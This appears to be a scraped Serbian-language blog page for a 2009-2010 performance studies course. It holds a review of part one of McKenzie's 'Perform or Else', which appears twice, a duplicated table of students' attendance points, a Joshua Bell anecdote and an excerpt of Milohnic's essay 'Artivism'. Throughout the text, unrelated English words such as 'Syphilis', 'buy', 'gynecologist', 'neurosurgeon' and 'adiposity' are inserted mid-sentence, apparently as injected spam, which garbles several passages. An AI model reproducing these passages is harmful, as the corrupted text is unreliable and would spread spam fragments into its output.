Za sazrevanje paradigme performans menadžmenta važno je više teorijskih platformi, od kojih Mekenzi posebno izdvaja teoriju sistema (koja shvata organizaciju kao otvoreni, promenljivi sistem, konceptualizuje mnoge pojmove, npr. dobitak i feedback, te uvažava značaj novih tehnologija u procesu organizacije), IPDM (Information processing and decision-making: sakupljanje, skladištenje i prenošenje informacija, donošenje odluka, koje uključuju identifikovanje problemskih situacija, razvijanje mogućih rešenja, biranje pravca akcija i ocenjivanje prošlih odluka) i O.D. (Organizational development, koji zagovara učenje u procesu organizacije, dinamiku heterogenih supkultura, a ne jednu „jaku” korporativnu kulturu, zaposlenog kao aktivnog a ne pasivnog, multilateralne i interaktivne mogućnosti adaptacije uradnika u firmama i kolektivno priželjkivane norme umesto preegzistiajućih normi). Značajan je i koncept liminautičkog fidbeka (liminautic feedback), nastao revizijom teorije liminalnosti, koja je, kako kaže Mekenzi, „morala da se suoči sa promenama u odnosu radno-i-slobodno vreme, a taj odnos se značajno promenio u eri kompjutera”. Autor beleži: „Postindustrijska era nije ni liminalna ni liminoidna, ona je liminautička. Limen ostaje mesto prelaza i transformacije, ali je to mesto sada samo po sebi u prolazu, jer se nalazi u mreži različitih granica: geopolitičkih, institucionalnih, paradigmatskih, generacijskih… Na prelasku u 21. vek, citatnost diskursâ i praksi prelazi preko elektronskog aparata, digitalnog limena. Reči i gesti, izjave i ponašanja, simbolički sistemi i živa tela se snimaju, arhiviraju i rekombinuju kroz multimedijalnu komunikacionu mrežu. Liminalni i liminoidni žanr postaju kiberspacijalni, liminautički”.

Jasno je da su paradigme i kulturalnog i organizacionog performansa do 1990-ih već uvidele i donekle uvažile važnost trećeg oblika performansa – tehno-performansa. Tehno-performansi su svi performansi koji se odvijaju „u polju” visoke tehnologije, preko tehnoloških mehanizama koji imaju svoje precizne specifikacije, performanse (tj. optimalne sposobnosti da nešto izvedu ispravno, tačno, s uspehom) i cilj ne da optimiziraju, nego da zadovolje (najpre potrošače). Ovi performansi su performansi mašina, kompjutera, raketa, kućnih aparata, itd. i odvijaju se prema strogom planu i predviđanjima, kao i merama koje su opšteprihvaćene i „propisane” različitim performans indeksima, standardima i modelovanjima. Za tehnološki performans bitan je laboratorijski rad, pri čemu paradigma tehno-performansa shvata dati rad kao rad u teatru, u mestu gde se nešto izvodi, pravi i proba (Robert P. Crease). Laboratorijskom radu prethodi hipoteza inženjera da će „izvesna tehnologija da izvede nešto određeno”, a nakon testiranja projekta u laboratoriji, projekat izlazi u spoljnu upotrebu. Dokaz hipoteze je, tako, u izvođenju, koje treba da je uspešno i usavršeno.

U zaključku prvog dela knjige Perform or else, Mekenzi sumira razmišljanja o tri paradigme performansa, napominjući da su date paradigme zasebno razvijane, ali da se u nekim tačkama dodiruju. One preispituju i potvrđuju norme, imaju svoje izazove, „odjek” u društvu, implikacije, konsekvence i zasnovane su na distinktivnim izvođačkim procesima, iako promenljivim kroz istoriju. Zbog slojevitosti i razuđenosti paradigmi, brojnosti koncepata koje uvažavaju, količine literature i sl., opštu teoriju performansa je teško uspostaviti. Ipak, primetno je iz Mekenzijeve studije da se ona oslanja na nekoliko činjenica: uvođenju različitih objekata proučavanja (kulturalneih aktivnosti, organizacionih praksi, novih tehnologija), koji su shvaćeni kao performansi, potom i uvođenju novih metoda ispitivanja (dekonstrukcije, teorije sistema, kompjuterskog modelovanja…), kao i uvažavanju novih subjekata koji se ispituju (recimo, članova marginalizovanih grupa i dr.).
Prikaz prvog dela knjige Perform or Else Džona Mekenzija

(odeljci: 1. The Efficacy of Cultural Performance, noun
2. The Efficiency of Organizational Performance i 3. The Effectiveness of Technological Performance u: Jon McKenzie (2001) Perform or Else, London: Routledge)

Pokušaj autora Džona Mekenzija da uspostavi svojevrsnu opštu teoriju performansa – kao teoriju koja bi definisala, opisala, kategorisala i pozicionirala pojam i koncept performasa, te ponudila i metodologije pristupa proučavanju performansa – zasniva se na implicitnoj tezi da performans kao fenomen brojnošću svojih pojavnih oblika, tipova i primena uslovljava proporcionalno slojevitu teorijsku obradu. Stoga, teorija performansa koju Mekenzi gradi u knjizi Perform or Else ima formu široko razrađenog teorijskog tumačenja performansa i mnogih drugih relevantnih koncepata i pojava, iz ugla istorizacije, kontekstualizacije, te izvođenja studija slučaja u vezi sa datim pojavama. Ono što „približava” čitaocu veliku količinu podataka i zaključaka i raznovrsnost pristupâ tumačenjima jeste vizuelna i sadržinska preglednost teksta, gotovo sasvim neformalni jezik, kao i često pozivanje na svakodnevna i opštepoznata iskustva, što karakteriše Mekenzijevu studiju.

Opšti problemi, koji se tiču pitanja „šta je performans, gde i kako se on pojavljuje, kako se može opisati i kategorizovati?”, razmotreni su u prvom delu knjige Perform or Else, u okviru tri tekstualne celine, u kojima se govori o tri tipa performansa i tri paradigme teorijskog pristupa proučavanju performansa: kulturalnom, organizacionom i tehnološkom performansu, te njima odgovarajućim paradigmama studija performansa, performans menadžmenta i tehno-performansa. Podela na date tipove ustanovljena je prema savremenim različitim upotrebama termina i pojma performansa: za vid eksperimentalne umetnosti, produktivnost na radnom mestu i funkcionalnost tehnoloških sistema.

Prema Mekenzijevom mišljenju, performans – kao, generalno shvaćeno, izvođenje – jeste inherentan i obavezan aspekat funkcionisanja svih ljudi, društava i tehnoloških mehanizama, budući da savremeni svet „funkcioniše pod presijom [koja se može opisati rečima] ‛izvedi, ili…” (autor je ovde evidentno na tragu „pretnje” koja se iščitava sa fotografije na naslovnoj strani magazina Forbes od 3. Januara 1994. godine: „Perform – or else”). Performansi, dakle, podrazumevaju određene izazove, a ti izazovi su, zapravo, ono što suštinski odvaja različite tipove performansa. Izazov kulturalnog performansa je, prema Mekenzijevoj parafrazi reči sa fotografije, „izvedi – ili si društveno normalizovan”; izazov organizacionog performansa je „izvedi – ili si otpušten”; izazov tehnološkog performansa je „izvedi – ili si neobrazovan, neupućen”. Tako, kulturalni performans pretpostavlja efikasnost u smislu određenog socijalnog efekta (da se izvedbom ukaže, iskritikuje, subvertira, čak i promeni određena društvena pojava ili situacija); organizacioni performans postavlja za cilj dobitak, produktivnost (manje ulaganja, a više proizvoda; da se radi bolje, a da košta manje, i sl.); dok tehnološki performans računa sa učinkom tehnološkog sistema ili mehanizma (tj. sa maksimalnim učinkom sistema u odnosu na njegove specifikovane performanse).

Tekstualni odeljci u kojima Mekenzi razmatra tip kulturalnog, odnosno organizacionog performansa, zasnivaju se uglavnom na sagledavanju hronologije razvoja i emancipacije njima odgovarajućih paradigmi – studija performansa i performans menadžmenta. U delu posvećenom tehno-performansu, pak, takav istorijski pristup je uočljiv u manjoj meri, budući da je, kako autor objašnjava, literatura posvećena tehnološkom performansu relativno oskudna, te je istorizacija ove oblasti još uvek u formiranju.

Studije performansa se temelje na identifikovanju različitih aktivnosti – veznih za tradicionalni i ekperimentalni teatar, rituale i ceremonije, popularnu zabavu (parade, festivale), ples, avangardni performans art, usmene interpretacije književnosti (javna čitanja i govore), estetske prakse svakodnevnog života (igre, socijalne interakcije), političke demosntracije i društveni pokrete – kao performansa, koji nose potencijal da podrže, ili, pak, promene ljude i društva. Društveni efekat (i, samim tim, svojevrsni politički karakter) izvođenja je aspekat koji je, u istorijskom smislu, odredio performanse kao nove prakse koje se pojavljuju u različitim oblastima. Prelaz od zabavnog ili deskriptivnog karaktera izvođenja do izvođenja koja „izazivaju, mešaju se, ponekad i sasvim otpisuju nasleđena značenja” (Janelle Reinelt, Joseph Roach) uočljiv je u teatru (gde se fokus prebacuje sa scenarija i tekstualnog predloška na glumčevo telo), plesu (gde se uvode neplesačka tela i svakodnevni pokreti), vizuelnim umetnostima (gde umestno objekta u prvi plan dolazi sâm proces stvaranja), antropologiji (gde je pažnja pomerena sa mitskih struktura na njihovo otelovljenje u ritualima), studijama folklora (gde je akcenat sa teksta pomeren na kontekst pripovedanja), lingivstici (gde je važnost data pragmatici umesto gramatici, paroli [tj. činu izjavljivanja] umesto jeziku)…

Studije performansa se konstituišu od 1950-ih godina, usled pojave više linija teorijskih pristupa proučavanju kulturalnih formi (kako primećuje MacAloon) i formiranja koncepata koji do danas figuriraju u ovoj paradigmi, kao što su koncept socijalne drame (Victor Turner), kulturalnog performansa (Milton Singer), socijalne psihologije svakodnevnog života (Erving Goffman), obnovljenog ponašanja (Richard Schechner). Paradigma „izniče” iz spoja principâ teatra i antropologije, tako što je teatar pružio antropolozima formalni model za „posmatranje” performansa, prepoznavanje njegovih formi u društvu, konceptualizaciju načinâ na koje se otelotvoruju socijalna značenja i vrednosti u ponašanja i događaje, dok je antropologija pružila teatrolozima funkcionalni model za teoretizaciju transformacionog potencijala teatra i drugih performativnih žanrova kroz koncept liminalnosti (Arnold Van Gennep, Turner, Schechner, Peggy Phelan). Dati koncept je, prema Mekenzijevim rečima, „amblem paradigme studija performansa”, a sama liminalnost – kao „kompleksno stanje ili faza, mesto i vreme pojavljivanja najdubljih vrednosti u vidu drama i objekata” – ima u kontekstu studija performansa status norme (otuda Mekenzijev izraz liminal-norm).

Najveći zaokret u razvoju studija performansa dešava se polovinom 70-ih godina, kada se pojavljuje teorija teksta i kada u američku teorijsku misao značajno prodire Kontinentalna filozofija. Mekenzi naziva ovu promenu „zaokretom od teatra do teorije”, budući da gotovo svi koncepti važni za studije performansa bivaju preispitani iz vizura npr. dekonsrukcije, psihoanalize, teorija roda i seksualnosti i drugih oblasti koje teže ka otkrivanju onoga što je iza pojavnog, što je u domenu filozofije. Zaokret je, zapravo, posledica promene samog izazova kulturalnog performansa – izazova efikasnosti – od transgresivne do otporaške (resistant) efikasnosti. Prelaz ka otporaškoj efikasnosti javio se usled sazrevanja institucionalne teorije, tj. shvatanja da subverzija društvenih pojava i situacija dolazi „iznutra”, u okvirima samih sila moći, i da se služi načelima, diskursima i mehanizmima onoga što želi da subvertira (dok je za transgresivnu efikasnost važila premisa da se subvezija odvija „spolja”, sa margina). Do devedesetih godina prošlog veka, literatura i metodologija studija performansa su se značajno razvile, bivajući, potom, dopunjene različitim proučavanjima i primenama novomedijskog aspekta (kompjutera, interneta).

Druga vrsta performansa – organizacioni performans – uočava se u domenu organizacije i delatnosti poslovnog sveta: korporacija, firmi, nevladinih organizacija i vladinih agencija. Imajući na umu da se paradigma ove vrste performansa bavi menadžmentom ljudskog rada u svom širokom značenju, Mekenzi obeležava paradigmu ovog performansa terminom „performans menadžment”, koji je dobio na značaju 80-ih godina 20. veka, kada počinje da se koristi za organizacione strategije koje se fokusiraju na ishod, rezultat, cilj. Centralni pojmovi menadžment performansa su usluga, globalna orijentisanost, elektronska opremljenost (primena kompjutera, elektronskih mreža), te, kada je reč o prirodi ljudskog rada, raznovrst, inovacija i intuicija.

Kako objašnjava Mekenzi, razvoj organizacionog menadžmenta, kao savremenog oblika menadžmenta, započeo je 1950-ih godina kao svojevrsna reakcija na stariji oblik menadžmenta – naučni menadžment. Naučni menadžment (Frederick Taylor), ili „tejlorizam”, ili „model mašine”, je oblik menadžmenta u kojem su dominirali principi naučnosti (naučnog odabira radnika, naučnog obrazovanja radnika) i proizvodne produktivnosti (gde je cilj produkovati što više proizvoda). Organizacioni menadžment, pak, postavlja u prvi plan intuiciju i kreativnost radnika, raznovrsnot njegovih poslova i interesovanja, fleksibilnost birokratskog sistema, informacinu (a ne industrijsku) ekonomiju i kompjutersku umreženost. Performans menadžment je isprva stavljao akcenat na problem lične produktivnosti svakog učesnika u organizacionom i proizvodnom procesu i, s tim u vezi, bavi se prevashodno procenom radnika iz ugla tzv. merit rating-a (ocenjivanja zasluga). Naime, 1954. godine Joseph Tifflin i Ernest McCormik su definisali merit rating kao „sistematičnu procenu zaposlenog od strane njegovog nadređenog ili drugog kvalifikovanog za procenu, obično prema nekoj standardizovanoj formi, u određenim vremenskim intervalima, sa unošenjem podataka u ‛dosijee’ radnika”. No, već u narednoj deceniji performans menadžment počinje da sagledava stanja u organizacijama i uslove rada na širem planu, te dolazi do pomeranja pažnje s procene radnika na procenu dobrobiti koje radnik ima od organizacije za poboljšanje sopstvenog rada. Do 90-ih godina, paradigma organizacionog performansa postala je „nacionalni imperativ” u Americi, a sa globalizacijom, takođe, izazov dobiti dobio je globalne implikacije.

Za sazrevanje paradigme performans menadžmenta važno je više teorijskih platformi, od kojih Mekenzi posebno izdvaja teoriju sistema (koja shvata organizaciju kao otvoreni, promenljivi sistem, konceptualizuje mnoge pojmove, npr. dobitak i feedback, te uvažava značaj novih tehnologija u procesu organizacije), IPDM (Information processing and decision-making: sakupljanje, skladištenje i prenošenje informacija, donošenje odluka, koje uključuju identifikovanje problemskih situacija, razvijanje mogućih rešenja, biranje pravca akcija i ocenjivanje prošlih odluka) i O.D. (Organizational development, koji zagovara učenje u procesu organizacije, dinamiku heterogenih supkultura, a ne jednu „jaku” korporativnu kulturu, zaposlenog kao aktivnog a ne pasivnog, multilateralne i interaktivne mogućnosti adaptacije uradnika u firmama i kolektivno priželjkivane norme umesto preegzistiajućih normi). Značajan je i koncept liminautičkog fidbeka (liminautic feedback), nastao revizijom teorije liminalnosti, koja je, kako kaže Mekenzi, „morala da se suoči sa promenama u odnosu radno-i-slobodno vreme, a taj odnos se značajno promenio u eri kompjutera”. Autor beleži: „Postindustrijska era nije ni liminalna ni liminoidna, ona je liminautička. Limen ostaje mesto prelaza i transformacije, ali je to mesto sada samo po sebi u prolazu, jer se nalazi u mreži različitih granica: geopolitičkih, institucionalnih, paradigmatskih, generacijskih… Na prelasku u 21. vek, citatnost diskursâ i praksi prelazi preko elektronskog aparata, digitalnog limena. Reči i gesti, izjave i ponašanja, simbolički sistemi i živa tela se snimaju, arhiviraju i rekombinuju kroz multimedijalnu komunikacionu mrežu. Liminalni i liminoidni žanr postaju kiberspacijalni, liminautički”.

Jasno je da su paradigme i kulturalnog i organizacionog performansa do 1990-ih već uvidele i donekle uvažile važnost trećeg oblika performansa – tehno-performansa. Tehno-performansi su svi performansi koji se odvijaju „u polju” visoke tehnologije, preko tehnoloških mehanizama koji imaju svoje precizne specifikacije, performanse (tj. optimalne sposobnosti da nešto izvedu ispravno, tačno, s uspehom) i cilj ne da optimiziraju, nego da zadovolje (najpre potrošače). Ovi performansi su performansi mašina, kompjutera, raketa, kućnih aparata, itd. i odvijaju se prema strogom planu i predviđanjima, kao i merama koje su opšteprihvaćene i „propisane” različitim performans indeksima, standardima i modelovanjima. Za tehnološki performans bitan je laboratorijski rad, pri čemu paradigma tehno-performansa shvata dati rad kao rad u teatru, u mestu gde se nešto izvodi, pravi i proba (Robert P. Crease). Laboratorijskom radu prethodi hipoteza inženjera da će „izvesna tehnologija da izvede nešto određeno”, a nakon testiranja projekta u laboratoriji, projekat izlazi u spoljnu upotrebu. Dokaz hipoteze je, tako, u izvođenju, koje treba da je uspešno i usavršeno.

U zaključku prvog dela knjige Perform or else, Mekenzi sumira razmišljanja o tri paradigme performansa, napominjući da su date paradigme zasebno razvijane, ali da se u nekim tačkama dodiruju. One preispituju i potvrđuju norme, imaju svoje izazove, „odjek” u društvu, implikacije, konsekvence i zasnovane su na distinktivnim izvođačkim procesima, iako promenljivim kroz istoriju. Zbog slojevitosti i razuđenosti paradigmi, brojnosti koncepata koje uvažavaju, količine literature i sl., opštu teoriju performansa je teško uspostaviti. Ipak, primetno je iz Mekenzijeve studije da se ona oslanja na nekoliko činjenica: uvođenju različitih objekata proučavanja (kulturalneih aktivnosti, organizacionih praksi, novih tehnologija), koji su shvaćeni kao performansi, potom i uvođenju novih metoda ispitivanja (dekonstrukcije, teorije sistema, kompjuterskog modelovanja…), kao i uvažavanju novih subjekata koji se ispituju (recimo, članova marginalizovanih grupa i dr.).

Uvod u studije performansa 2009-2010.


Bodovi sakupljeni tokom kursa

dolasci na časove, Syphilis
učešće u diskusijama, life
rad na blogu + pismeni mini rad


  1. Milan Radovanović: 1. (18.02.) *** / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) **_ / 4. (01.04) / 5. (01.04) **_ / 6. (08.04.) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) *** / 11. (06.05.) *** /
  2. Maja Beganović: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) **_ / 4. (01.04.) / 5. (01.04) / 6. (08.04) / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) / / 10. (06.05.) / 11. (06.05.)  /
  3. Goran Marinić: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) **_ / 4. (01.04) **_ / 5. (01.04) **_ / 6. (08.04) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) **_ / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  4. Bojana Matejić: 1. (18.02.) *** / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) *** / 4. (01.04)***/ 5. (01.04) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) **_ / 11. (06.05.) **_ /
  5. Dragana Stojanović: 1. (18.02.) *** / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) **_ / 4. (01.04) *_ _ / 5. (01.04) *** / 6. (08.04.) *_ _ / 7. (15. 04.) *** / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) *** / 11. (06.05.) **_ /
  6. Ana Isaković: 1. (18.02.) *** / 2. (18.03.) *** /3. (25.03.) / pismeni rad: 12* / 4. (01.04.) / 5. (01.04) / 6. (08.04.) **_ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) / 10. (06.05.) *** / 11. (06.05.) ** _ /
  7. Jelena Nikolić: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) *_ _ / 4. (01.04.) *_ _ / 5. (01.04.) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  8. Petrija Jovičić: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) *** /4. (01.04.) *_ _ / 5. (01.04) *_ _ / 6. (08.04) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / pismeni rad: 12* / 9. (29.04.) * _ _ / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  9. Smiljka Milosavljević: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) **_ /4. (01.04.) *** / 5. (01.04.) *** / 6.(08.04) ***/ 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) **_ / 11. (06.05.) **_ /
  10. Andrija Filipović: : 1. (18.02.)  / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) *** / 4. (01.04) **_ / 5. (01.04.) *** / 6. (08.04.) *** / 7. (15. 04.) *** / 8. (15. 04.) *** / 9. (29.04.) *** / 10. (06.05.) *** / 11. (06.05.) **_ /
  11. Marija Tavčar: 1. (18.02.)  / 2. (18.03.) *** /3. (25.03.) **_ / pismeni rad: 12* / 4. (01.04.) *_ _ / 5. (01.04.) *_ _ / 6. (08.04.) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ / 9. (29.04.) / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  12. Filip Milinković: 1. (18.02.)  / 2. (18.03.) *_ _ / 3. (25.03.) **_ _ / 4. (01.04.) / 5. (01.04) / 6. (08.04.) / 7. (15. 04.) *_ _ / 8. (15. 04.) *_ _ / 9. (29.04.) / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  13. Vida Knežević: 1. (18.02.)  / 2. (18.03.) *** / 3. (25.03.) **_ / pismeni rad: 12* / 4. (01.04) / 5. (01.04.) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) **_ / 11. (06.05.) **_ /
  14. Jelena Trakilović: 1. (18.02.)  / 2. (18.03.) *** / 3. (25.03.) **_ / pismeni rad: 12* / 4. (01. 04.) *_ _ / 5. (01.04.) *_ _ / 6. (08.04.) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) *_ _ / 10. (06.05.) ** _ / 11. (06.05.) ** _ /
  15. Isidora Todorović: 1. (18.02.)  / 2. (18.03.) *** / 3. (25.03.) *_* /4. (01.04) *_ _ / 5. (01.04.) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) **_ / 10. (06.05.) *** / 11. (06.05.) **_ /
  16. Marija Ratković: 1. (18.02.)  / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) **_ / 4. (01.04) / 5. (01.04.) **_ / 6. (08.04.) *** / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) * _ _ / 10. (06.05.)  / 11. (06.05.) /

———————————————————

gošće i gosti:


  1. Marko Suvajdžić
  2. Vera Mevorah




Uvod u studije performansa 2009-2010.


Bodovi sakupljeni tokom kursa

dolasci na časove, help učešće u diskusijama, treatment
rad na blogu + pismeni mini rad


  1. Milan Radovanović: 1. (18.02.) *** / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) **_ / 4. (01.04) / 5. (01.04) **_ / 6. (08.04.) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) *** / 11. (06.05.) *** /
  2. Maja Beganović: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) **_ / 4. (01.04.) / 5. (01.04) / 6. (08.04) / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) / / 10. (06.05.) / 11. (06.05.)  /
  3. Goran Marinić: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) **_ / 4. (01.04) **_ / 5. (01.04) **_ / 6. (08.04) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) **_ / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  4. Bojana Matejić: 1. (18.02.) *** / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) *** / 4. (01.04)***/ 5. (01.04) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) *** / 11. (06.05.) **_ /
  5. Dragana Stojanović: 1. (18.02.) *** / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) **_ / 4. (01.04) *_* / 5. (01.04) *** / 6. (08.04.) *_ _ / 7. (15. 04.) *** / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) *** / 11. (06.05.) **_ /
  6. Ana Isaković: 1. (18.02.) *** / 2. (18.03.) *** /3. (25.03.) / pismeni rad: 12* / 4. (01.04.) / 5. (01.04) / 6. (08.04.) **_ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) / 10. (06.05.) *** / 11. (06.05.) ** _ /
  7. Jelena Nikolić: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) *_ _ / 4. (01.04.) *_ _ / 5. (01.04.) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  8. Petrija Jovičić: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) *** /4. (01.04.) *_ _ / 5. (01.04) *_ _ / 6. (08.04) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / pismeni rad: 12* / 9. (29.04.) * _ _ / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  9. Smiljka Milosavljević: 1. (18.02.) *** / 2. (18.03.) **_ / 3. (25.03.) **_ /4. (01.04.) *** / 5. (01.04.) *** / 6.(08.04) ***/ 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) **_ / 11. (06.05.) *** / pismeni rad: 12* /
  10. Andrija Filipović: : 1. (18.02.)  / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) *** / 4. (01.04) *** / 5. (01.04.) *** / 6. (08.04.) *** / 7. (15. 04.) *** / 8. (15. 04.) *** / 9. (29.04.) *** / 10. (06.05.) *** / 11. (06.05.) **_ /
  11. Marija Tavčar: 1. (18.02.)  / 2. (18.03.) *** /3. (25.03.) **_ / pismeni rad: 12* / 4. (01.04.) *_ _ / 5. (01.04.) *_ _ / 6. (08.04.) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ / 9. (29.04.) / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  12. Filip Milinković: 1. (18.02.)  / 2. (18.03.) *_ _ / 3. (25.03.) **_ _ / 4. (01.04.) / 5. (01.04) / 6. (08.04.) / 7. (15. 04.) *_ _ / 8. (15. 04.) *_ _ / 9. (29.04.) / 10. (06.05.) *_ _ / 11. (06.05.) ** _ /
  13. Vida Knežević: 1. (18.02.)  / 2. (18.03.) *** / 3. (25.03.) **_ / pismeni rad: 12* / 4. (01.04) / 5. (01.04.) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) **_ / 9. (29.04.) **_ / 10. (06.05.) **_ / 11. (06.05.) **_ /
  14. Jelena Trakilović: 1. (18.02.)  / 2. (18.03.) *** / 3. (25.03.) **_ / pismeni rad: 12* / 4. (01. 04.) *_ _ / 5. (01.04.) *_ _ / 6. (08.04.) *_ _ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) *_ _ / 10. (06.05.) ** _ / 11. (06.05.) ** _ /
  15. Isidora Todorović: 1. (18.02.)  / 2. (18.03.) *** / 3. (25.03.) *_* /4. (01.04) *_ _ / 5. (01.04.) **_ / 6. (08.04) **_ / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) **_ / 10. (06.05.) *** / 11. (06.05.) **_ /
  16. Marija Ratković: 1. (18.02.)  / 2. (18.03.) *** / pismeni rad: 12* / 3. (25.03.) **_ / 4. (01.04) / 5. (01.04.) **_ / 6. (08.04.) *** / 7. (15. 04.) **_ / 8. (15. 04.) *_ _ / 9. (29.04.) * _ _ / 10. (06.05.)  / 11. (06.05.) /

———————————————————

gošće i gosti:


  1. Marko Suvajdžić
  2. Vera Mevorah



Ispričaćemo istinitu priču o anonimnom violinisti koji je jednog hladnog januarskog jutra 2007. godine svirao Bahove kompozicije u prolazu podzemne železnice u Vašingtonu. Za vreme od 45 minuta, website like this
koliko je trajalo izvođenje, oko 2000 ljudi je prošlo pored njega idući na posao. S vremena na vreme, neko bi zastao, malo poslušao muziku, ubacio po koji dolar u kutiju od violine, i produžio dalje. Kada je završio svoj nastup, violinista je sakupio tačno 32 $. Niko nije primetio kada je prestao da svira, niti je iko aplaudirao. Niko od ljudi koji su prošli nije znao da je ovaj violinista zapravo Joshua Bell, jedan od najboljih muzičara na svetu. Svirao je virtuozne kompozicije na violini vrednoj 3.5 miliona dolara. Dva dana pre ovog nastupa, rasprodao je koncertnu salu u Bostonu gde nije bilo jeftinije karte od 100 $.

Read the rest of this entry »

Prikaz prvog dela knjige Perform or Else Džona Mekenzija

Prikaz prvog dela knjige Perform or Else Džona Mekenzija

(odeljci: 1. The Efficacy of Cultural Performance, healing
2. The Efficiency of Organizational Performance i 3. The Effectiveness of Technological Performance u: Jon McKenzie (2001) Perform or Else, buy
London: Routledge)

Pokušaj autora Džona Mekenzija da uspostavi svojevrsnu opštu teoriju performansa – kao teoriju koja bi definisala, gynecologist
opisala, kategorisala i pozicionirala pojam i koncept performasa, te ponudila i metodologije pristupa proučavanju performansa – zasniva se na implicitnoj tezi da performans kao fenomen brojnošću svojih pojavnih oblika, tipova i primena uslovljava proporcionalno slojevitu teorijsku obradu. Stoga, teorija performansa koju Mekenzi gradi u knjizi Perform or Else ima formu široko razrađenog teorijskog tumačenja performansa i mnogih drugih relevantnih koncepata i pojava, iz ugla istorizacije, kontekstualizacije, te izvođenja studija slučaja u vezi sa datim pojavama. Ono što „približava” čitaocu veliku količinu podataka i zaključaka i raznovrsnost pristupâ tumačenjima jeste vizuelna i sadržinska preglednost teksta, gotovo sasvim neformalni jezik, kao i često pozivanje na svakodnevna i opštepoznata iskustva, što karakteriše Mekenzijevu studiju.

Read the rest of this entry »

Somewhere over the rainbow ili o Šveđaninu, rodu i plastelinu

ARTIVISM

Translated by Olga Vuković

Aldo Milohnic

Any man today can lay claim
to being filmed.

Walter Benjamin

In the concluding paragraph of his legendary essay ‘The Work of Art in the Age of Mechanical Reproduction’ Walter Benjamin outlines a critique of the Fascist aestheticisation of politics. His crucial, adiposity and later frequently quoted, approved conclusion is encapsulated in the last two sentences: “This is the situation of politics which Fascism is rendering aesthetic. Communism responds by politicising art.”[1]

That is how politics and the arts appeared in the 1930s when this essay was written. To be more precise, neurosurgeon that is how Benjamin delimited the representational strategies of the political left and right. His thesis implies that politics (which is aestheticised) is the representational domain of the right, while the left operates inside the field of art (which is politicised). This is not to say that politics is exclusively a sphere of interest of the right, nor that art is exclusively the creative field of the left. The point at issue here is the evolution of paradigms employed by one political tendency to oppose the other.

Read the rest of this entry »

Preporuka za predavanje: RAŠKOLOVANO.ZNANJE(o^o) :: Bojana Kunst / Jan Ritsema / Ana Vujanović :: 8. maj, NU “Božidar Adžija”


01. 04. 2009; A.J.

SAŽETAK PREDAVANJA I LITERATURA:



I. deo: »TEROR« POP KULTURE

